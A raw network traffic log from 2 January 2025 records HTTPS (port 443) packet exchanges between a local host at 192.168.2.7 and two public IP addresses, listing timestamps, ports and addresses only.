Jan 2, 2025 20:11:57.593775034 CET	56335	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:57.593947887 CET	443	56336	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:57.594033957 CET	56336	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:57.594355106 CET	56336	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:57.635333061 CET	443	56335	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:57.635337114 CET	443	56336	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:57.966763020 CET	443	56338	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:57.966859102 CET	56338	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.966877937 CET	443	56338	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:57.967143059 CET	56338	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.967143059 CET	56338	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.967156887 CET	443	56338	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:57.967230082 CET	443	56338	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:57.967303038 CET	56338	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.967303038 CET	56338	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.967835903 CET	56344	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.967874050 CET	443	56344	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:57.968168974 CET	56344	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.968327999 CET	56344	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.968346119 CET	443	56344	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:57.972654104 CET	443	56337	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:57.972723961 CET	443	56337	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:57.972754955 CET	56337	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.972799063 CET	56337	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.974028111 CET	56337	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.974045038 CET	443	56337	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:57.974678040 CET	56345	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.974725008 CET	443	56345	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:57.974829912 CET	56345	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.975140095 CET	56345	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.975164890 CET	443	56345	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:58.017537117 CET	443	56335	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.017594099 CET	443	56335	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.017635107 CET	56335	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.017653942 CET	443	56335	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.017699003 CET	56335	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.017719984 CET	443	56335	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.017759085 CET	56335	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.018160105 CET	56335	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.022600889 CET	56335	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.022625923 CET	443	56335	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.023224115 CET	56346	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.023251057 CET	443	56346	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.023411036 CET	56346	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.025587082 CET	56346	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.025600910 CET	443	56346	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.187207937 CET	443	56336	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.187256098 CET	443	56336	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.187370062 CET	443	56336	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.187377930 CET	56336	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.187541962 CET	56336	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.188687086 CET	56336	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.188703060 CET	443	56336	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.189162016 CET	56352	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.189191103 CET	443	56352	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.189313889 CET	56352	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.189673901 CET	56352	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.189688921 CET	443	56352	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.607935905 CET	443	56344	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:58.608021975 CET	56344	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:58.608742952 CET	56344	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:58.608748913 CET	443	56344	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:58.611015081 CET	56344	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:58.611021996 CET	443	56344	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:58.649719954 CET	443	56345	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:58.649785995 CET	56345	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:58.650496006 CET	56345	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:58.650512934 CET	443	56345	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:58.650697947 CET	56345	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:58.650703907 CET	443	56345	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:58.665410042 CET	443	56346	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.665482044 CET	56346	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.666052103 CET	56346	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.666060925 CET	443	56346	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.666287899 CET	56346	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.666292906 CET	443	56346	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.818336964 CET	443	56352	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.818447113 CET	56352	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.818892002 CET	56352	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.818900108 CET	443	56352	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:58.819143057 CET	56352	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:58.819149017 CET	443	56352	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.002002001 CET	443	56344	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.002079010 CET	443	56344	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.002088070 CET	56344	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.002136946 CET	56344	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.002419949 CET	56344	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.002434015 CET	443	56344	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.003191948 CET	56359	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.003230095 CET	443	56359	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.003319025 CET	56359	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.003628016 CET	56359	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.003645897 CET	443	56359	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.039596081 CET	443	56345	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.040013075 CET	56345	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.040031910 CET	443	56345	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.040112972 CET	56345	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.041332006 CET	443	56345	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.041399002 CET	443	56345	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.041415930 CET	56345	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.041450024 CET	56345	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.047941923 CET	56345	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.047969103 CET	443	56345	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.048960924 CET	56360	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.048994064 CET	443	56360	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.049068928 CET	56360	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.049309015 CET	56360	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.049314976 CET	443	56360	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.099047899 CET	443	56346	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.099122047 CET	443	56346	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.099158049 CET	56346	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.099175930 CET	443	56346	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.099200010 CET	56346	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.099237919 CET	56346	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.099258900 CET	443	56346	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.099301100 CET	443	56346	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.099319935 CET	56346	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.099560976 CET	56346	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.100786924 CET	56346	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.100799084 CET	443	56346	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.101509094 CET	56361	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.101562977 CET	443	56361	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.101672888 CET	56361	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.101924896 CET	56361	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.101943016 CET	443	56361	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.253073931 CET	443	56352	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.253124952 CET	443	56352	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.253177881 CET	56352	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.253209114 CET	443	56352	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.253230095 CET	56352	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.253257990 CET	443	56352	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.253293037 CET	56352	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.253329039 CET	56352	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.254242897 CET	56352	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.254261971 CET	443	56352	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.254828930 CET	56362	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.254878998 CET	443	56362	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.254951000 CET	56362	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.255317926 CET	56362	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.255331039 CET	443	56362	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.634402037 CET	443	56359	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.634615898 CET	56359	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.635061979 CET	56359	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.635068893 CET	443	56359	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.635242939 CET	56359	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.635247946 CET	443	56359	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.687577963 CET	443	56360	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.687792063 CET	56360	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.688200951 CET	56360	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.688216925 CET	443	56360	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.688509941 CET	56360	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:59.688514948 CET	443	56360	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:59.867453098 CET	443	56361	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.867630959 CET	56361	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.868108034 CET	56361	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.868117094 CET	443	56361	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.871977091 CET	56361	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.871984959 CET	443	56361	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.888917923 CET	443	56362	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.889211893 CET	56362	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.889753103 CET	56362	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.889759064 CET	443	56362	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:59.891968012 CET	56362	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:59.891976118 CET	443	56362	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:00.020709038 CET	443	56359	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.020812988 CET	443	56359	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.020997047 CET	56359	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.021066904 CET	56359	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.021084070 CET	443	56359	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.021140099 CET	56359	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.021140099 CET	56359	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.021784067 CET	56370	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.021832943 CET	443	56370	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.024071932 CET	56370	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.028074026 CET	56370	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.028095007 CET	443	56370	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.073932886 CET	443	56360	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.074124098 CET	56360	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.074951887 CET	56360	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.074951887 CET	56371	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.074995995 CET	443	56371	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.075051069 CET	443	56360	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.075087070 CET	56371	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.075160027 CET	56360	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.075416088 CET	56371	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.075426102 CET	443	56371	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.471059084 CET	443	56361	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:00.471111059 CET	443	56361	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:00.471165895 CET	56361	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.471179008 CET	443	56361	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:00.471193075 CET	56361	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.471220016 CET	56361	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.471234083 CET	443	56361	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:00.471282959 CET	443	56361	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:00.471297026 CET	56361	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.471327066 CET	56361	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.471688032 CET	443	56362	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:00.471735001 CET	443	56362	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:00.471739054 CET	56362	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.471748114 CET	443	56362	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:00.471774101 CET	56362	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.471802950 CET	56362	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.471813917 CET	443	56362	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:00.471839905 CET	443	56362	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:00.471863031 CET	56362	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.471884012 CET	56362	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.472914934 CET	56361	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.472923040 CET	443	56361	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:00.473594904 CET	56373	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.473630905 CET	443	56373	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:00.473699093 CET	56373	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.473984003 CET	56373	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.473999977 CET	443	56373	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:00.477462053 CET	56362	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.477468967 CET	443	56362	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:00.478104115 CET	56374	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.478135109 CET	443	56374	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:00.478197098 CET	56374	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.478423119 CET	56374	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.478435040 CET	443	56374	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:00.656888008 CET	443	56370	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.656968117 CET	56370	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.657679081 CET	443	56370	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.657831907 CET	56370	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.662884951 CET	56370	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.662899971 CET	443	56370	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.663212061 CET	443	56370	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.663280964 CET	56370	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.663692951 CET	56370	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.707360029 CET	443	56370	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.725853920 CET	443	56371	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.725950956 CET	56371	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.726988077 CET	443	56371	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.727045059 CET	56371	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.729104996 CET	56371	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.729115963 CET	443	56371	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.729388952 CET	443	56371	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.729446888 CET	56371	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.729844093 CET	56371	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.775326967 CET	443	56371	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.955058098 CET	56373	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.955141068 CET	56374	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:00.955140114 CET	56371	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.955147982 CET	56370	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.956087112 CET	56380	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.956095934 CET	56379	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.956131935 CET	443	56379	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.956147909 CET	443	56380	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.956208944 CET	56379	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.956226110 CET	56380	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.956542969 CET	56380	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.956557035 CET	443	56380	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:00.956638098 CET	56379	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:00.956648111 CET	443	56379	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:01.640093088 CET	443	56379	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:01.640177965 CET	56379	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:01.640815973 CET	56379	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:01.640831947 CET	443	56379	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:01.641195059 CET	56379	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:01.641207933 CET	443	56379	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:01.648597956 CET	443	56380	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:01.648680925 CET	56380	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:01.649319887 CET	56380	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:01.649319887 CET	56380	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:01.649328947 CET	443	56380	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:01.649342060 CET	443	56380	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.028863907 CET	443	56379	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.029046059 CET	56379	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.029063940 CET	443	56379	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.029162884 CET	56379	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.029315948 CET	56379	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.029367924 CET	443	56379	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.029525995 CET	443	56379	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.029606104 CET	56379	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.029606104 CET	56379	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.029925108 CET	56388	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.029926062 CET	56389	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:02.029968977 CET	443	56388	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.029978037 CET	443	56389	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:02.030292988 CET	56389	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:02.030530930 CET	56388	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.030530930 CET	56388	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.030565023 CET	443	56388	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.030647993 CET	56389	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:02.030659914 CET	443	56389	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:02.039836884 CET	443	56380	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.039966106 CET	56380	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.040002108 CET	443	56380	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.040226936 CET	56380	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.040226936 CET	56380	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.040261984 CET	443	56380	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.040416956 CET	443	56380	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.040443897 CET	56380	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.040617943 CET	56380	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.040828943 CET	56391	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:02.040841103 CET	443	56391	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:02.040962934 CET	56391	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:02.041176081 CET	56391	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:02.041176081 CET	56392	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.041188002 CET	443	56391	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:02.041198969 CET	443	56392	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.041281939 CET	56392	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.042759895 CET	56392	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.042768955 CET	443	56392	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.671984911 CET	443	56389	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:02.672076941 CET	56389	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:02.681893110 CET	443	56388	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.682002068 CET	56388	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.682701111 CET	443	56388	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.682768106 CET	56388	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.708331108 CET	443	56392	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.708405018 CET	56392	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.709120035 CET	443	56392	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.709191084 CET	56392	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.725533009 CET	443	56391	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:02.725610018 CET	56391	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:02.899008989 CET	56391	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:02.899049044 CET	443	56391	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:02.899419069 CET	443	56391	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:02.899475098 CET	56391	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:02.902945042 CET	56391	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:02.941916943 CET	56389	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:02.941948891 CET	443	56389	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:02.942312002 CET	443	56389	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:02.942368984 CET	56389	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:02.944993973 CET	56389	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:02.947328091 CET	443	56391	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:02.949915886 CET	56388	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.949949980 CET	443	56388	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.950284958 CET	443	56388	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.950331926 CET	56388	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.953389883 CET	56388	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.960046053 CET	56392	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.960097075 CET	443	56392	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.960393906 CET	443	56392	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:02.960452080 CET	56392	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.963516951 CET	56392	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:02.991339922 CET	443	56389	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:02.995332956 CET	443	56388	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:03.007394075 CET	443	56392	142.250.74.206	192.168.2.7
